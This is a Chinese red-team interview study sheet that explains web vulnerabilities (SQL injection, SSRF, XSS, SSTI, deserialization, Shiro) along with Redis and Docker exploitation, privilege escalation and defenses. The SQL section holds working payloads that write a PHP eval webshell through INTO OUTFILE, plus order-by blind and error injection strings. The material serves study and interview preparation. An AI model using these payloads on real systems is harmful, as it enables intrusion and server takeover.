红队(攻防)
php
1.反单引号) 在PHP语言以及SQL语言中的作用分别是什么
1
2
|
在PHP中,反引号用于执行系统命令。实际上是shell_exec()函数的简写
sql中是引用标识符(表名、字段名、数据库名),避免与SQL保留字冲突。
|
2.SSRF混洞(服务端请求伪造)有什么漏洞利用思路?
1
|
原理:由于服务端提供了从其他服务器获取数据的功能,导致攻击者可以利用存在缺陷的Web应用作为代理,攻击远程和本地的服务器。
|
1
|
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞。
|
思路如下
1
2
3
|
file://协议读本地文件
dict://协议探测开放的端口
gopher://发送post,get请求攻击内网,或者gopher协议写入定时任务,gopher协议写入ssh公钥等等打redis、mysql、fastcgi数据库之类的
|
注意:
1
2
3
4
5
6
7
|
注意
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
|
1
2
3
4
|
防御措施:
限制协议:仅允许 http 和 https 协议,禁用 file://、gopher:// 等危险协议。
限制端口:限制请求的端口为常见的 HTTP 端口,如 80 和 443。
白名单:设置允许访问的 URL 白名单,限制访问内网 IP。
|
3.利用XSS漏洞(跨站脚本攻击)可以达到什么效果? 有哪些防御XSS漏洞的手段/机制?
1
|
原理:嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的
|
一共反射型 ,存储型,DOM型
1
2
3
4
5
|
反射型:利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行,一般出现在网站的搜索栏、用户登录口
存储型:攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。一般都是留言板
DOM型:客户端可以获得 DOM 中的数据并在本地执行,用户可以操纵 DOM 中的一些对象(恶意 JavaScript 脚本),而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。
|
攻击效果
1
2
3
|
信息窃取:窃取cookie,页面内容,表单数据
会话劫持与身份冒充:模拟用户操作 #2024newstar
页面篡改与钓鱼攻击
|
防御手段
1
2
3
4
|
输入过滤:设置黑白名单,过滤<、>、script、onerror等危险字符/关键词;限制输入长度。
输出编码:后端使用htmlspecialchars()等函数对输出内容进行HTML实体编码,将<转为<,>转为>。
Cookie保护:设置Cookie的HttpOnly=true,作用是禁止JavaScript读取Cookie
内容安全策略(CSP):通过HTTP头限制脚本加载源(如Content-Security-Policy: default-src 'self'),阻止外部恶意脚本执行。
|
CSRF 和 XSS 的区别
1
2
3
|
1、CSRF是跨站请求伪造; XSS是跨域脚本攻击。
2、CSRF需要用户先登录网站A,获取cookie; XSS不需要登录。
3、CSRF是利用网站A本身的漏洞,去请求网站A的api; XSS是向网站A注入JS代码,然后执行JS里的代码,篡改网站A的内容。(XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。)
|
xss与ssrf区别
1
2
|
XSS:攻击者的目标是用户的浏览器。利用网站对用户输入的信任,将恶意脚本注入到网页中,让其他用户的浏览器执行。
SSRF:攻击者的目标是网站服务器本身。利用服务器对用户输入的信任,让服务器向一个非预期的内部或外部地址发起网络请求,从而探测或攻击内网服务
|
4.php反序列化的原理
1
|
反序列化攻击是指应用在执行 unserialize() 时,从而触发类中的魔术方法,加上参数可被用户控制,导致任意代码执行、文件读取/写入等安全问题。
|
5.JWT是什么,Cookie和Session的区别是什么
1
2
|
先说一下token,其本质服务端生成的访问凭证,包含用户身份和权限信息
JWT他就是用于web开发的JSON形式的token,由现在的开发模式都是前后端分离,数据传输就是用的JSON,它是最流行的一种 Token 范式,由头部(header)、载荷(payload)与签名( 是由服务器进行的签名,保证了 token 不被篡改)组成
|
token与jwt的区别
1
2
3
|
Token:服务端验证客户端发送过来的 Token 时,还需要查询数据库获取用户信息,然后验证 Token 是否有效。
JWT:将 Token 和 Payload 加密后存储于客户端,服务端只需要使用密钥解密进行校验(校验也是 JWT 自己实现的)即可,不需要查询或者减少查询数据库,因为 JWT 自包含了用户信息和加密的数据。
|
cookie与session的区别:
先了解什么是cookie与session
1
2
3
4
|
Cookie 本质上是服务器发送给浏览器的一小段数据,浏览器会将这段数据存储起来,并在后续的请求中自动携带。
Session 直接将用户信息存储在服务器端,然后颁发一个sessionId 会被存储到客户端的cookie 中
所以区别就是session存储在服务器,cookie存储在用户浏览器,session更安全
|
补充一下cookie,session,token,jwt的工作流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
cookie:用户请求 → 服务器设置Set-Cookie → 浏览器存储 → 后续请求自动携带
session:
用户登录 → 服务器创建Session(存于服务端) → 返回Session ID给Cookie
↓
后续请求 → 浏览器发送Session ID → 服务器验证Session → 返回数据
token:
用户登录 → 服务器生成Token(存于服务端) → 返回Token给客户端
↓
后续请求 → 客户端手动携带Token → 服务器验证Token有效性 → 返回数据
jwt:
用户登录 → 服务器生成JWT(自包含数据+签名) → 返回给客户端
↓
后续请求 → 客户端携带JWT → 服务器验证签名(不查数据库) → 返回数据
|
6.nmap使用哪个参数可以做到对目标只探测存活,但不进行端口扫描
1
|
-sn :跳过端口扫描,只进行主机发现(之前被称为 -sP)
|
主机发现 | Nmap参考指南(Man Page)
Nmap 操作手册 - 完整版 - HOsystem - 博客园
7.举出一些端口对应的服务名称分别是什么
1
2
3
4
5
6
7
8
|
22:SSH
1433:SQL Server
1521:Oracle Database
2375:Docker API
3306:MySQL
3389:RDP
6379:Redis
7001:WebLogic Admin Console
|
8.描述一下Redis未授权访问漏洞的利用方式
1
2
3
4
5
6
|
1.写入SSH公钥实现SSH登录
2.利用redis写webshell
3.利用crontab反弹shell(即redis写入文件到计划任务目录下执行)
4.利用redis主从复制反弹shell
5.Redis Lua沙盒绕过命令执行(CVE-2022-0543)
6.mfs redis密码破解
|
Redis未授权利用总结-先知社区
实战篇——SSRF漏洞Redis反弹shell实战 - yaoguyuan - 博客园
GitHub - xmsec/redis-ssrf: redis ssrf gopher generater & redis ssrf to rce by master-slave-sync(工具)
9.CSRF漏洞的原理
1
|
劫持用户在当前已登录的Web应用程序向一个目标网站发送一个恶意请求,执行非用户本意的操作。
|
防御
1
2
3
4
5
|
除了用户名和密码,添加验证码进行保护;
http头中使用referer字段
http头中使用token
修改密码时,需要原密码;
添加验证码字段
|
10.ssti漏洞原理
1
|
服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。一般是render_template_string()与render_template()造成
|
11.docker逃逸方法
1
|
原理:通过各自方法获得对宿主机文件系统的读写权限,然后就可以写定时任务反弹shell
|
1
2
3
4
5
6
|
特权模式逃逸:privileged参数启动,有高权限
Docker API未授权: API暴露无认证,远程创建新容器挂载目录
Docker Socket挂载:挂载docker.sock通过socket与宿主机,Docker守护进程通信,创建新容器挂载宿主机目录
Procfs危险挂载:挂载宿主机的/proc目录,修改core_pattern,设置崩溃时执行脚本,触发程序崩溃 执行命令
Cgroup配置错误:利用notify_on_release机制设置release_agent,触发Cgroup释放,直接执行宿主机脚本
SYS_PTRACE进程注入:找到宿主机进程,注入shellcode
|
docker逃逸方式总结分享-先知社区
12.xxe漏洞原理
1
|
XML解析器在处理用户可控的XML输入时,如果未禁用外部实体的解析,攻击者就可以构造恶意XML执行命令
|
13.原型链污染原理
1
|
通过修改对象的原型(即__proto__属性)来污染原型链:在js中,每个对象都有一个内部属性,__proto__属性。当访问一个对象的属性时,如果该对象自身没有这个属性,JavaScript引擎会沿着原型链向上查找,直到找到该属性或到达原型链的末尾,对象被合并(merge)、扩展(extend)或克隆(clone)时,如果属性名可以被控制,并且操作是递归的,那么攻击者可以通过传入包含__proto__的属性名来修改原型链。
|
1
2
3
|
修复:
避免使用不安全的递归合并函数
考虑使用Map替代Object存储键值对(Map 没有原型链)
|
php-sql
1.sql注入原理
1
|
web应用传递的sql语句直接插入到数据库中执行sql语句,造成了sql注入
|
2.联合查询注入如何判断表中列的数量 (除了使用order by)
1
2
|
1.用union select 1,2,3....,通过不断尝试不同列数的SELECT直到不报错
2.用group by代替,比如'group/**/by/**/23,'
|
3.时间盲注过滤了sleep怎么打
1
2
3
|
benchmark代替:benchmark是测试表达式执行速度
笛卡尔积代替:多重笛卡尔积来制造巨大的数据量,从而产生时间延迟,例如:SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;这意思就是数据库读取三张表的全部数据,生成所有可能的组合进行计数
|
4.order by注入的打法有什么
order by后既可以填列名或者是一个数字,并且据此进行排序
order by 盲注
1
2
3
4
5
6
7
8
|
1.结合union盲注:例如,我们可以在密码那列进行order by,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注
2.基于if()盲注:例如:order by if(表达式,1,(select id from information_schema.tables)),如果表达式为false时,sql语句会报错,导致查询内容为空,如果表达式为true是,则会返回正常的页面。利用ORDER BY不能处理多行结果的特性
3.基于时间的盲注:就是sleep+if,例如:order by if(表达式,1,sleep(1))
4.基于range的盲注:利用rang()为true和false时,排序结果是不同的,所以就可以使用rang()函数进行盲注了
payload: order by rand(ascii(mid((select database()),1,1))>96)
|
order by 报错注入
1
2
3
4
|
select * from ha order by updatexml(1,if(1=1,1,user()),1);#查询正常
select * from ha order by updatexml(1,if(1=2,1,user()),1);#查询报错
select * from ha order by extractvalue(1,if(1=1,1,user()));#查询正常
select * from ha order by extractvalue(1,if(1=2,1,user()));#查询报错
|
Mysql Order By注入总结 - 艾斯泽 - 博客园
sql注入之order by注入_sql注入 order by-CSDN博客
5.堆叠注入原理
1
|
原理:SQL语句中包含多个SQL语句(使用分号(;)来分隔),数据库服务器会依次执行这些SQL语句,从而导致多次SQL注入攻击
|
6.mysql8有什么特性
出现了两个新的关键字table(类似与select)和values(类似与row)
1
2
3
4
5
6
7
8
9
|
table与SELECT的区别:
1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
可以用来获取所有表名
table information_schema.schemata;
补充:values可以构造一个表,values可以接在union后面,可以判断列数
|
7.如何预防sql注入
1
2
3
|
1.设置黑名单过滤一些关键字
2.使用预编译的SQL语句和参数绑定,确保用户输入不会被解释为SQL代码的一部分。
3最小权限原则:数据库连接账户应该只拥有最小必要的权限
|
预编译作用详细如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
传统SQL执行: SQL语句 + 数据 → 一次性发送给数据库
预编译SQL: 1. 发送SQL模板 → 数据库编译
2. 发送参数 → 数据库执行
// 假设攻击者输入:admin' OR '1'='1
// 传统方式(字符串拼接)
SELECT * FROM users WHERE username='admin' OR '1'='1'
-- 数据库看到:完整的SQL语句,OR条件被解析为SQL逻辑
// 预编译方式(参数绑定)
-- SQL模板:SELECT * FROM users WHERE username=?
-- 参数值:"admin' OR '1'='1"(作为字符串整体)
SELECT * FROM users WHERE username='admin'' OR ''1''=''1'
-- 数据库看到:username等于字符串"admin' OR '1'='1",不会解析其中的SQL关键字
|
8.sql二次注入原理
1
|
原理:sql语句在后端代码中可能会被转义,但在存入数据库时还是原来的恶意数据(数据中一般带有单引号和#号),然后下次进入到 SQL 查询语句中导致sql注入(例如发生在登入注册页面)
|
1
|
预防:无论是第一次存入还是第二次取出使用,只要使用参数化查询
|
9.sqlmap –os-shell参数分别在面对MySQL和MSSQL数据库中执行的原理
首先要知道–os–shell意思是 调出交互式操作系统 shell
1
2
|
mysql其实是通过写入Web Shell,然后通过通过HTTP发送命令从而执行命令
mssql是启用xp_cmdshell执行系统命令(xp_cmdshell是扩展存储过程,允许在 SQL Server 中直接执行操作系统命令。)
|
10.sqlmap中–technique和–dbms参数的含义是什么
1
2
3
4
5
6
7
8
9
|
--technique 参数:指定注入技术
B: Boolean-based blind SQL injection(布尔型盲注)
T: Time-based blind SQL injection(时间型盲注
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(联合查询注入)
S: Stacked queries SQL injection(堆叠查询注入)
Q: inline Query injection(内联查询注入)
-dbms 参数:指定数据库类型
|
用法 | sqlmap 用户手册
11.想通过SQL注入漏洞写shell(被攻击目标是MySQL、Apache、PHP),需要被攻击方满足什么条件?
1
2
3
4
5
6
|
1.mysql连接用户有root
2.路径存在写入权限。
3.知道当前网站的绝对路径;
4.secure_file_priv 的值非NULL或包含了导出的绝对路径
Mysql>=5.5.53 默认为NULL,即默认禁止导入导出
Mysql<5.5.53 默认为空,即默认无限制
|
12.MySQL中,可以写入文件的两条指令分别是什么,这两条指令的区别是什么?
1
2
3
4
5
6
7
8
9
10
11
|
SELECT INTO OUTFILE与SELECT INTO DUMPFILE
区别:outfile:
1、 支持多行数据同时导出
2、 使用union联合查询时,要保证两侧查询的列数相同
3、 会在换行符制表符后面追加反斜杠
4、 会在末尾追加换行
dumpfile:
1、 每次只能导出一行数据
2、 不会在换行符制表符后面追加反斜杠
3、 不会在末尾追加换行
|
payload
1
2
|
?id=1 UNION ALL SELECT 1,'<?=eval($_REQUEST[1]);?>',3 into outfile '/var/www/html/2.php'%23
?id=1 UNION ALL SELECT 1,'<?=eval($_REQUEST[1]);?>',3 into dumpfile '/var/www/html/2.php'%23
|
如果union被禁用了,使用fields terminated by与lines terminated by来写shell
1
|
?id=1 into outfile '/var/www/html/2.php' FIELDS TERMINATED BY '<?=eval($_REQUEST[1]);?>'
|
注意:into dumpfile还可以写入二进制文件并且生效
其余写shell还有日志写shell,一般在outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限打
python
1.Python语句’int’._class_的含义是什么, 该语句和什么漏洞有关
1
|
获取字符串 'int' 的类对象SSTI(服务器端模板注入),Python 沙箱逃逸,反序列化攻击,python代码执行
|
java
1.Java中的反射有什么作用
1
|
可以动态操作类、创建对象、调用方法和字段,类的结构而无需在编译时知道这些类的具体信息 #优点
|
缺点

2.Java反序列化的基本原理
1
|
反序列化时会自动调用对象的 readObject 方法,如果这个方法被恶意重写,可能执行任意代码
|
3.描述一下Shiro550漏洞的原理
版本影响<Shiro 1.2.5
1
|
原理:由于shiro的rememberMe内容会反序列化,其内容会进行Base64解码后会进行AES加解密,过程中使用密钥key(AES是一种对称密钥密码体制,加解密用到是相同的密钥)而这个版本的shiro由于固定密钥硬编码在shiro源码,导致攻击者可以伪造RememberMe Cookie,导致反序列化漏洞被利用。
|
渗透
1.我的渗透思路
信息收集部分:查看网站类型(即其前后端编程语言),查子域名,收集公司信息,查询中间件,目录扫描,端口扫描,查cms,对网站功能点进行top10渗透,fuzz出js路径,抓包分析可不可以身份伪造与越权,然后内网渗透,先是上传内网穿透工具与fscan,然后扫出其它的存活主机与其漏洞,然后就是提权了。
2.提权方式有哪些
Lunix提权:
1
|
/etc/passwd提权(就是加入root用户),suid提权(查找是否有**以 root 身份执行**的二进制程序,借助这些程序提权),sudo提权( 利用具有sudo 权限配置提权),定时任务提权,docker提权(容器配置漏洞或不当设置,突破容器的隔离限制,从而获得宿主机的 root 权限)
|
windows提权:
1
2
|
土豆提权(烂土豆提权):攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机
注册表提权,内核提权(永恒之蓝)
|
3.数据库的提权方式
msssql,mysql,redis,PostgreSQL,h2,Oracle提权
mysql提权
1
|
udf提权:配置,secure_file_priv项设置为空,原理:将恶意代码作为共享库DLL或SO文件加载到MySQL中,并通过SQL语句执行这些代码,从而获得系统的高级权限。
|
数据库提权_h2数据库提权-CSDN博客
4.不出网怎么处理
正向代理,反向代理(用stowaway)修改配置,(修改ACL/代理/防火墙,变得可以出网)
蓝队
1.当服务器被shiro反序列化打了,怎么根据流量包判断
拥有shiro反序列化框架的流量特征,rememberme=deleteme。